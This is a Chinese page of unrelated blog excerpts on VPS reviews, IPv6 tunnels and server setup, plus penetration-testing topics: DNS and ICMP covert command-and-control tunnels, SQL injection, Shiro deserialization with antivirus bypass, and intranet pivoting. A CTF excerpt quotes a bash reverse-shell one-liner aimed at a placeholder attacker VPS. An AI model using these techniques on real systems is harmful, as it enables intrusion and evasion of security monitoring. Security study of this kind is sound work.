在之前的文章中我介绍了使用 DNS-Shell 和 Dnscat2 利用DNS协议来进行命令控制，通过DNS协议进行通信，使得流量更加隐秘，躲避agent/DLP等安全设备的检测，实现相对隐秘的命令控制。
在上一篇文章中，我们讲解了木马中常用的端口转发技术，这一节讲解一下木马通信协议中的ICMP协议，并通过ICMP实现一个反弹shell。
ansible是一种自动化运维工具，基于Python开发，集合了众多运维工具（puppet、cfengine、chef、func、fabric）的优点，实现批量系统配置、批量程序部署、批量运行命令等功能。现，简单介绍下ansible使用方法。
首先，你需要一台 VPS，并注册一个 ZeroTier 帐号：https://my.zerotier.com
iodine是基于C语言开发的，分为服务端和客户端。iodine支持转发模式和中继模式。其原理是：通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后，客户机上会多出一块名为dns0的虚拟网卡。
1、vps打开TUN/TAP 一般在vps面板里就可以打开，如果没有，发tickets给客服 2、判断是否成功打开TUN/TAP cat /dev/net/tun 返回值如下即为打开成功 File descriptor in bad state 3、如果本机glibc小于2.14，先更新glibc ldd --version 如果小于2.14，则需要编译安装新版本>2.14 先安装gcc yum install gcc 再编译glibc wget http://ftp.gnu.org/gnu/glibc
https://tunnelbroker.net/ ,注册帐号后点击左侧“User Functions”中的“Create Regular Tunnel”，在“IPv4 Endpoint”中填入你 VPS 的 IP 地址，“Available Tunnel Servers”是自行选择一个隧道入口，就近选择即可，然后点最下方”Create Tunnel“，耐心等待创建成功后你会来到隧道详情页面，你会看到”Routed /48“右侧有个”Assign /48“，点一下，申请/48地址块，并记录下这个地址块,后面需要用到),或者也可以用自己有广播好的ipv6{ip地址标记①}.
dnscat2是一款开源软件，使用DNS协议创建加密的C&C通道，通过预共享密钥进行身份验证；使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA)，多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版，服务端是用Ruby语言编写的。严格的说，dnscat2是一个命令与控制工具。
这次渗透是从站库分离的情况下在深入进去内网在拿下域控服务器，也都是普通的渗透思路，并没有什么技术含量！首先WEB点是一个MSSQL注入漏洞，并且这个注入是sa权限的！首先这个站点是使用JoomlaCMS搭建的，但是在一处Study信息登记处发现了SQL注入漏洞
最近也不知道乍回事，WordPress大学 又一次出现故障，而且和上次一样，我查看了所有能想到的日志文件，重启服务器，重启环境，禁用/删除防火墙，都没有办法，最终的结果是：可以ping通，一切进行都正常，但是没办法通过IP和域名访问。最后的终极办法就是重置服务器，这次不再使用lnmp.org的一键安装包了，换其他的试试。
ICMP是一个比较特殊的协议，在一般的通信协议里如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要，最常见的ICMP消息为ping命令的回复，攻击者可以利用命令行得到比回复更多的ICMP请求，在通常情况下，每个ping命令都有相对应的回复与请求
服务器连接工具： IIS7服务器管理工具是一款windows全系下用于连接并操控基于windows和linux系统的VPS、VNC、FTP等远程服务器、云服务器的管理工具。 界面简单明了，操作易上手，功能强大，支持批量导入服务器，并批量打开，多窗口化管理，除此之外，加载本地硬盘、硬盘映射、加载服务器的声音，远程声卡读取等功能也一应俱全，完全实现了各类场景使用，对于FTP连接界面，其中FTP文件的定时上传，定时下载（也可以说定时上传下载、定时备份）功能，对于经常使用FTP的小伙伴来说，也是非常适用的。 工具支持自动更新，压缩包只有7.62M，方便简洁，一步到位。 下载地址 使用步骤可以看下面的截图，做了详细标注：
随着IPV4地址耗尽，运营商开始回收并推进IPV4大内网地址，基于IPV4的传统内网映射、动态域名即将失效；但同时我们也要看到，运营商的IPV6推进计划基本快要完成了，现在我们的宽带、手机流量、各大门户网站，其实都已经支持IPV6了，今天这篇文章，我们不谈原理，直接告诉大家如何配置使用IPV6.
也是对国人操作非常友好的一个服务器品牌，中文界面，流程也很友好清晰（官网链接：戳我直达官网入口）
N1book---死亡ping命令 有时候命令执行的题目限制了字数或者某些函数被禁用了，那么此时可以用反弹shell的效果，连接题目的机器 一般来说，构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式，发送到客户端执行，但是有时候不一定可以，可能会报错啥的，所以此时可以在只记得vps中，新建一个页面，比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1，然
4. 配置 WireGuard：在 VPS 主机上创建一个 WireGuard 配置文件 wg0.conf，将以下配置信息添加到该文件中：
这是一种新的墙，以前我新建日本的vps的时候，其IPv4地址是直接的ping不通，但这次不一样，IPv4地址能够正常的ping，可就是国外与国内扫描端口不一样！
首先，在资产某处发现存在SQL注入，数据库类型是SQLServer，并且当前用户为sa管理用户。
直到看了Micro8大佬写的教程，我才发现，原来tmux 还可以实现后台不间断运行程序，我跟你说这个功能老牛了！
当我们在外网打下一个点，通过arp，netstat，以及ifconifg（ipconfig）等信息收集，发现此点为dmz，可通内网，那么这时候我们需要在此点上搭建通向内网的隧道，为内网渗透打下坚实基础。
哪吒面板是一个类似于ServerStatus的服务器状态监控程序，不过，哪吒面板相对来说功能更强大一些，哪吒监控 支持服务器系统状态监控、HTTP(SSL 证书变更、即将到期、到期)、TCP、Ping 监控报警，命令批量执行和计划任务，是一个一站式轻监控轻运维系统。
ICMP隧道简单实用，是一个比较特殊的协议。在一般的通信协议里，如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议，攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下，每个ping命令都有相应的回复与请求。
在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。那么什么是隧道呢？这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装，然后穿过防火墙，与对方进行通信。当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应服务器上。
搬瓦工已经是非常知名的VPS商了，其最大的优势是低廉的价格和优异的网络性能（非硬件性能），而为了摆脱超售的名声，搬瓦工也在积极降低KVM虚拟机的价格，KVM最大的优势为内存独享，而传统OpenVZ内存为共享，可以无限超售。在几天前的双十一，搬瓦工更是给出了迄今为止，甚至是全球同配置同网络的最低价，诚意十足！
收集一些自用的shell脚本，适用于懒人，关键词替换为 5hadows0cks 和 v7n 原因你懂的。
pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具。
前面一次网进行了内网渗透，这里做个人小结，也方便其他小伙伴学习EW。这里仅记录后渗透中与EW相关的部分已提前在tomcat中留下冰蝎马。
这次被拿来折腾的是hax的免费vps，纯ipv6，7天有效期，可无限续期，但是配置也低的可怜，只有450m的运行内存，127m的swap，硬盘总共就只有5g，一开始想装Debian11，就选了Debian11之后让它rebuild vps了
opendevops是一款为用户提供企业多混合云、自动化运维、完全开源的云管理平台。 opendevops前端基于Vue iview开发、为用户提供友好的操作界面，增强用户体验。 opendevops后端基于Python Tornado开发，其优势为轻量、简洁清晰、异步非阻塞。 opendevops开源多云管理平台为用户提供多功能：ITSM、基于RBAC权限系统、Web Terminnal登陆日志审计、录像回放、强大的作业调度系统、CMDB、监控报警系统等
通过一个工具基本可以满足演练过程中打隧道的要求（可惜不支持dns协议）。这篇文章主要是自己研究该工具如何使用的过程 0x02 工具简介
网上诸如此类的教程很多，我这里算是整理，也算是举个例子，从零开始搭建一个wordpress博客。一切都尽可能的浅显，尽可能让更多的人懂。也说明一些建站方面一定要注意的小细节。 整个从零搭建的过程主要分为两部分（域名部分，主机部分），这两部分可以认为是独立的。 域名部分： 1、 域名申请： 域名事实上很重要，申请时要慎重。一个好的域名可以瞬间让别人记住。申请域名一些有经验的都去GoDadday上去申请，一方面是便宜，另一方面是限制少。像国内大部分域名就不是那么实惠。一方面可能第一年便宜，续费很贵。另一个可能
写这篇文章时，这次的渗透已经完成一周多了，当时也没有想到会要写文章出来，所以有一部截图是后来补上的，为了我的人身安全，有涉及到的敏感信息，我都会打码，请多多包涵。
完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步，虽然这个站点只经历了前四步，但也具有较强的代表性，组合利用漏洞形成攻击连，拿下管理权限。
谈到“异地组网”这个问题，其实已经有很多成熟的解决方案，包括最简单的拉光纤物理相连、向日葵异地组网等等。这些解决方案虽然稳定性和使用体验都极度让人舒适，但是实现的代价略微有点大，尤其财大气粗的光纤物理直接相连。不过对于某些大公司的异地数据中心互联，这仍然是最被认可的解决方案。至于向日葵异地组网，有点类似于把远程服务环境和本地环境同时连入一个网络，然后在形式上实现局域网化。由于这一解决方案往往依赖于一个由第三方提供的中心节点服务，这种局域网的带宽、速度和使用体验很大程度上受限于购买的套餐级别。那么，是否存在一种造价较低，速度和使用体验都较佳的解决方案呢？答案自然是存在的，只是有点曲线而已。
市场上有很多云盘的产品，比如百度云盘，不过本教程主要目的是要搭建个人私有云盘。查了网上很多资料，个人云盘也有很多，比如nextcloud，owncloud，seafile等。这里选择nextcloud，优势就不用说了，网上一搜一大把。
腾讯云 AMD 云服务器成都云主机是腾讯云 AMD CPU的新主机类型，放置在成都节点。国内这些大商家很少有在大西南布置如此庞大规模的公有云，连阿里云也是只有私有云而不对外公开发售。趁着手里有台成都云服务器，老魏对它进行评测及提供如何选择的参考因素。
前段时间看了一下内网渗透，所以想找个环境练习一下，恰好有个兄弟丢了个站点出来，一起“练习内网”，然后就开始了“实战代练”。由于“懒”，所以记录时间和截图有些是补的。
公司业务发展过程中，随着用户规模的增长。不管是采用传统的idc模式，还是最近比较火的vps。作为运维，不免被老板灵魂拷问，哪家的vps比较好，哪家的idc比较好。价格上没什么好说的，谁高谁低，一幕了然。但是相同的价格下，要比较初一个优劣，肯定要用数据说话。 祭出搜索引擎，一顿搜索。找到了网络上存在的的一键测试脚本，然后再使用过程中，发现输出要不就是相对简单，要不就是很久没有更新了，部分功能失效。 服务器(vps)性能测试脚本汇总 给老板看总不能截几张图就完了吧。于是采众家之长，自己做了一个，起名idcmonitor。以后再也不担心老板要评估选点了。
当你在浏览器中输入域名访问网站时，它首先会向 DNS 服务器发送请求来查找域名对应的 IP 地址。找到 IP 地址之后，就会通过 IP 定位到对应的服务器然后获取网站的内容。这整个过程仅仅只需要几毫秒。DNS 默认是运行在 53 端口上。
Linode在国内站长圈中是数一数二的 VPS 商家，提供的日本 TK1 线路早已经成为“传家宝”被大家长期收藏。今天我们来写一下开通Linode 日本 TK2 机房线路体验及速度性能评测的过程。希望对初次接触 Linode 的朋友有所帮助，这也是老魏写博客一直坚持的想法。 相关阅读： Linode 5 美元新方案 1G 内存/1CPU/20G SSD Linode-国外最稳定的 VPS 注册付款教程 Linode 收费扣费方式解释 一、Linode 官方网址 点我打开 Linode 官方网站 初次注册付款
Tracker服务器是对于BT下载必须的，网上随便搜索一下就有很多Tracker服务器列表，一个服务器文件少则几十个，多则上百个，但”杂乱无章”，要不就是用不了，要不就是在中不可用，要不就是重复，真正能用的就比较少了。
由于最近学习内网,打了一些靶场,觉得还是挺枯燥的,就想找一个真实的环境练练手,在hxd的指引下,找了个站去练练手。
准备 在https://tunnelbroker.net/注册一个账号。然后为IPv4创建常规隧道： 点击Create Regular Tunnel->在IPv4 Endpoint (Your side)里面输入VPS的公网IPv4地址->在Available Tunnel Servers里面选择一个(你认为)距离VPS最近的地方->Create Tunnel。那么你应当会得到类似下面的数据：
感谢朋友@Sin的投稿，这篇文章记录的是他如何发现、利用Shiro反序列化漏洞，又是怎样绕过火绒安全防护实现文件落地、添加管理员，最后进入远程桌面，以及在测试过程中遇到的一些坑。
命令执行漏洞的成因是，由于没有针对代码中可执行的特殊函数入口做过滤，导致用户可以提交恶意语句，并提交服务器执行。
通俗的讲就是局域网，网吧、校园网、单位办公网都属于此类。另外光纤到楼、小区宽带、教育网、有线电视Cable Modem上网虽然地域范围比较大但本质上还是基于以太网技术，所以任然属于内网。
这样payload.com的域名解析请求将由nameserver.com完成，同时将nameserver.com指向你的反连平台1.1.1.1
Sugarhosts 糖果主机上线中美极速直连线路后，最近洛杉矶 CN2 线路虚拟主机搞活动，239 元/年限时终身六折，就有网友询问洛杉矶 CN2 虚拟主机的线路测试地址， 魏艾斯博客和官方要了一个洛杉矶 CN2 中美极速直连地址用于速度评测，本文评测过程结果仅供参考。 一、洛杉矶中美直连 CN2 极速线路方案 1、洛杉矶中美极速专线虚拟主机 下面列举的是中美极速专线虚拟主机，本月限时终身优惠，如果是稳定建站使用，推荐选购 Shared Pro，送独立 IP。 Shared Baby 磁盘空间：5GB
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
